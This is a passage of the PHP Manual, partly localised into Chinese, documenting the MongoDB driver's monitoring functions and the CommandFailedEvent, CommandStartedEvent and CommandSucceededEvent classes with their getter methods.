    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted — Notification method for a started server heartbeat
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded — Notification method for a successful server heartbeat
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening — Notification method for opening a server
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged — Notification method for a topology description change
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed — Notification method for closing the topology
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening — Notification method for opening the topology
  • MongoDB\Driver\Monitoring\Subscriber — The MongoDB\Driver\Monitoring\Subscriber interface

User Contributed Notes

There are no user contributed notes for this page.


函数

Table of Contents

  • MongoDB\Driver\Monitoring\addSubscriber — Registers a monitoring event subscriber globally
  • MongoDB\Driver\Monitoring\removeSubscriber — Unregisters a monitoring event subscriber globally

User Contributed Notes

There are no user contributed notes for this page.


Registers a monitoring event subscriber globally

  • ? 函数
  • MongoDB\Driver\Monitoring\removeSubscriber ?
  • PHP Manual
  • 函数
  • Registers a monitoring event subscriber globally

MongoDB\Driver\Monitoring\addSubscriber

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\addSubscriber — Registers a monitoring event subscriber globally

说明

MongoDB\Driver\Monitoring\addSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Registers a monitoring event subscriber globally. The subscriber will be notified of all events in the driver for any Manager.

Note: If subscriber is already registered globally, this function is a no-op. If subscriber is also registered with one or more Managers, it will still only be notified once of each event for each Manager.

参数

subscriber (MongoDB\Driver\Monitoring\Subscriber)

A monitoring event subscriber to register globally.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\removeSubscriber() - Unregisters a monitoring event subscriber globally
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Unregisters a monitoring event subscriber globally

  • ? MongoDB\Driver\Monitoring\addSubscriber
  • MongoDB\Driver\Monitoring\CommandFailedEvent ?
  • PHP Manual
  • 函数
  • Unregisters a monitoring event subscriber globally

MongoDB\Driver\Monitoring\removeSubscriber

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\removeSubscriber — Unregisters a monitoring event subscriber globally

说明

MongoDB\Driver\Monitoring\removeSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Unregisters a monitoring event subscriber globally.

Note: If subscriber is not already registered globally, this function is a no-op.

参数

subscriber (MongoDB\Driver\Monitoring\Subscriber)

A monitoring event subscriber to unregister globally.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Manager::removeSubscriber() - Unregisters a monitoring event subscriber with this Manager
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandFailedEvent class

(mongodb >=1.3.0)

简介

The MongoDB\Driver\Monitoring\CommandFailedEvent class encapsulates information about a failed command.

类摘要

final class MongoDB\Driver\Monitoring\CommandFailedEvent {
/* 方法 */
final public getCommandName(): string
final public getDurationMicros(): int
final public getError(): Exception
final public getOperationId(): string
final public getReply(): object
final public getRequestId(): string
final public getServer(): MongoDB\Driver\Server
final public getServerConnectionId(): ?int
final public getServiceId(): ?MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Returns the command name
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Returns the command's duration in microseconds
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Returns the Exception associated with the failed command
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Returns the command reply document
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId — Returns the server connection ID for the command
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId — Returns the load balancer service ID for the command

User Contributed Notes

There are no user contributed notes for this page.


Returns the command name

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command name

MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Returns the command name

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName(): string

Returns the command name (e.g. "find", "aggregate").

参数

此函数没有参数。

返回值

Returns the command name.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's duration in microseconds

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getError ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command's duration in microseconds

MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Returns the command's duration in microseconds

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros(): int

The command's duration is a calculated value that includes the time to send the message and receive the reply from the server.

参数

此函数没有参数。

返回值

Returns the command's duration in microseconds.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Exception associated with the failed command

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the Exception associated with the failed command

MongoDB\Driver\Monitoring\CommandFailedEvent::getError

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Returns the Exception associated with the failed command

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getError(): Exception

参数

此函数没有参数。

返回值

Returns the Exception associated with the failed command.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's operation ID

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getError
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command's operation ID

MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Returns the command's operation ID

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId(): string

The operation ID is generated by the driver and may be used to link events together such as bulk write operations, which may have been split across several commands at the protocol level.

Note: Since multiple commands may share the same operation ID, it is not reliable to use this value to associate event objects with each other. The request ID returned by MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() should be used instead.

参数

此函数没有参数。

返回值

Returns the command's operation ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command reply document

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command reply document

MongoDB\Driver\Monitoring\CommandFailedEvent::getReply

(mongodb >=1.5.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Returns the command reply document

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getReply(): object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

参数

此函数没有参数。

返回值

Returns the command reply document as a stdClass object.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's request ID

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getReply
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command's request ID

MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Returns the command's request ID

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId(): string

The request ID is generated by the driver and may be used to associate this MongoDB\Driver\Monitoring\CommandFailedEvent with a previous MongoDB\Driver\Monitoring\CommandStartedEvent.

参数

此函数没有参数。

返回值

Returns the command's request ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Server on which the command was executed

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the Server on which the command was executed

MongoDB\Driver\Monitoring\CommandFailedEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Returns the Server on which the command was executed

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServer(): MongoDB\Driver\Server

Returns the MongoDB\Driver\Server on which the command was executed.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server on which the command was executed.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer() - Returns the Server on which the command was executed
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the server connection ID for the command

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getServer
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the server connection ID for the command

MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId

(mongodb >=1.14.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId — Returns the server connection ID for the command

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId(): ?int

Returns the server connection ID for the command. The server connection ID is distinct from server (i.e. MongoDB\Driver\Monitoring\CommandFailedEvent::getServer()) and is returned in the "connectionId" field of a hello command response MongoDB 4.2+.

参数

此函数没有参数。

返回值

Returns the server connection ID, or null if it is not available.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the load balancer service ID for the command

  • ? MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId
  • MongoDB\Driver\Monitoring\CommandStartedEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the load balancer service ID for the command

MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId

(mongodb >=1.11.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId — Returns the load balancer service ID for the command

说明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId(): ?MongoDB\BSON\ObjectId

When the driver is connected to a MongoDB cluster through a load balancer, the service ID corresponds to the serviceId field in the hello command response.

参数

此函数没有参数。

返回值

Returns the load balancer service ID, or null if the driver is not connected to a load balancer.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandStartedEvent class

(mongodb >=1.3.0)

简介

The MongoDB\Driver\Monitoring\CommandStartedEvent class encapsulates information about a started command.

类摘要

final class MongoDB\Driver\Monitoring\CommandStartedEvent {
/* 方法 */
final public getCommand(): object
final public getCommandName(): string
final public getDatabaseName(): string
final public getOperationId(): string
final public getRequestId(): string
final public getServer(): MongoDB\Driver\Server
final public getServerConnectionId(): ?int
final public getServiceId(): ?MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Returns the command document
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Returns the command name
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Returns the database on which the command was executed
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId — Returns the server connection ID for the command
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId — Returns the load balancer service ID for the command

User Contributed Notes

There are no user contributed notes for this page.


Returns the command document

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command document

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Returns the command document

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand(): object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

参数

此函数没有参数。

返回值

Returns the command document as a stdClass object.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the command name

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command name

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Returns the command name

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName(): string

Returns the command name (e.g. "find", "aggregate").

参数

此函数没有参数。

返回值

Returns the command name.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the database on which the command was executed

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the database on which the command was executed

MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Returns the database on which the command was executed

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName(): string

参数

此函数没有参数。

返回值

Returns the database on which the command was executed.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's operation ID

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command's operation ID

MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Returns the command's operation ID

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId(): string

The operation ID is generated by the driver and may be used to link events together such as bulk write operations, which may have been split across several commands at the protocol level.

Note: Since multiple commands may share the same operation ID, it is not reliable to use this value to associate event objects with each other. The request ID returned by MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() should be used instead.

参数

此函数没有参数。

返回值

Returns the command's operation ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's request ID

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command's request ID

MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Returns the command's request ID

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId(): string

The request ID is generated by the driver and may be used to associate this MongoDB\Driver\Monitoring\CommandStartedEvent with a later MongoDB\Driver\Monitoring\CommandFailedEvent or MongoDB\Driver\Monitoring\CommandSucceededEvent.

参数

此函数没有参数。

返回值

Returns the command's request ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() - Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Server on which the command was executed

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the Server on which the command was executed

MongoDB\Driver\Monitoring\CommandStartedEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Returns the Server on which the command was executed

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServer(): MongoDB\Driver\Server

Returns the MongoDB\Driver\Server on which the command was executed.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server on which the command was executed.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer() - Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer() - Returns the Server on which the command was executed
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the server connection ID for the command

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getServer
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the server connection ID for the command

MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId

(mongodb >=1.14.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId — Returns the server connection ID for the command

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId(): ?int

Returns the server connection ID for the command. The server connection ID is distinct from server (i.e. MongoDB\Driver\Monitoring\CommandStartedEvent::getServer()) and is returned in the "connectionId" field of a hello command response MongoDB 4.2+.

参数

此函数没有参数。

返回值

Returns the server connection ID, or null if it is not available.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the load balancer service ID for the command

  • ? MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the load balancer service ID for the command

MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId

(mongodb >=1.11.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId — Returns the load balancer service ID for the command

说明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId(): ?MongoDB\BSON\ObjectId

When the driver is connected to a MongoDB cluster through a load balancer, the service ID corresponds to the serviceId field in the hello command response.

参数

此函数没有参数。

返回值

Returns the load balancer service ID, or null if the driver is not connected to a load balancer.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandSucceededEvent class

(mongodb >=1.3.0)

简介

The MongoDB\Driver\Monitoring\CommandSucceededEvent class encapsulates information about a successful command.

类摘要

final class MongoDB\Driver\Monitoring\CommandSucceededEvent {
/* 方法 */
final public getCommandName(): string
final public getDurationMicros(): int
final public getOperationId(): string
final public getReply(): object
final public getRequestId(): string
final public getServer(): MongoDB\Driver\Server
final public getServerConnectionId(): ?int
final public getServiceId(): ?MongoDB\BSON\ObjectId
}

Table of Contents

  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Returns the command name
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Returns the command's duration in microseconds
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Returns the command reply document
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId — Returns the server connection ID for the command
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId — Returns the load balancer service ID for the command

User Contributed Notes

There are no user contributed notes for this page.


Returns the command name

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command name

MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Returns the command name

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName(): string

Returns the command name (e.g. "find", "aggregate").

参数

此函数没有参数。

返回值

Returns the command name.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's duration in microseconds

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command's duration in microseconds

MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Returns the command's duration in microseconds

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros(): int

The command's duration is a calculated value that includes the time to send the message and receive the reply from the server.

参数

此函数没有参数。

返回值

Returns the command's duration in microseconds.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's operation ID

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command's operation ID

MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Returns the command's operation ID

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId(): string

The operation ID is generated by the driver and may be used to link events together such as bulk write operations, which may have been split across several commands at the protocol level.

Note: Since multiple commands may share the same operation ID, it is not reliable to use this value to associate event objects with each other. The request ID returned by MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() should be used instead.

参数

此函数没有参数。

返回值

Returns the command's operation ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command reply document

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command reply document

MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Returns the command reply document

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply(): object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

参数

此函数没有参数。

返回值

Returns the command reply document as a stdClass object.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's request ID

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command's request ID

MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Returns the command's request ID

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId(): string

The request ID is generated by the driver and may be used to associate this MongoDB\Driver\Monitoring\CommandSucceededEvent with a previous MongoDB\Driver\Monitoring\CommandStartedEvent.

参数

此函数没有参数。

返回值

Returns the command's request ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Server on which the command was executed

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the Server on which the command was executed

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Returns the Server on which the command was executed

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer(): MongoDB\Driver\Server

Returns the MongoDB\Driver\Server on which the command was executed.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server on which the command was executed.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer() - Returns the Server on which the command was executed
  • MongoDB\Driver\Cursor::getServer() - Returns the server associated with this cursor
  • MongoDB\Driver\WriteResult::getServer() - Returns the server associated with this write result
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the server connection ID for the command

  • ? MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the server connection ID for the command

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId

(mongodb >=1.14.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId — Returns the server connection ID for the command

说明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId(): ?int

Returns the server connection ID for the command. The server connection ID is distinct from server (i.e. MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer()) and is returned in the "connectionId" field of a hello command response MongoDB 4.2+.

参数

此函数没有参数。

返回值

Returns the server connection ID, or null if it is not available.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the load balancer service ID for the command

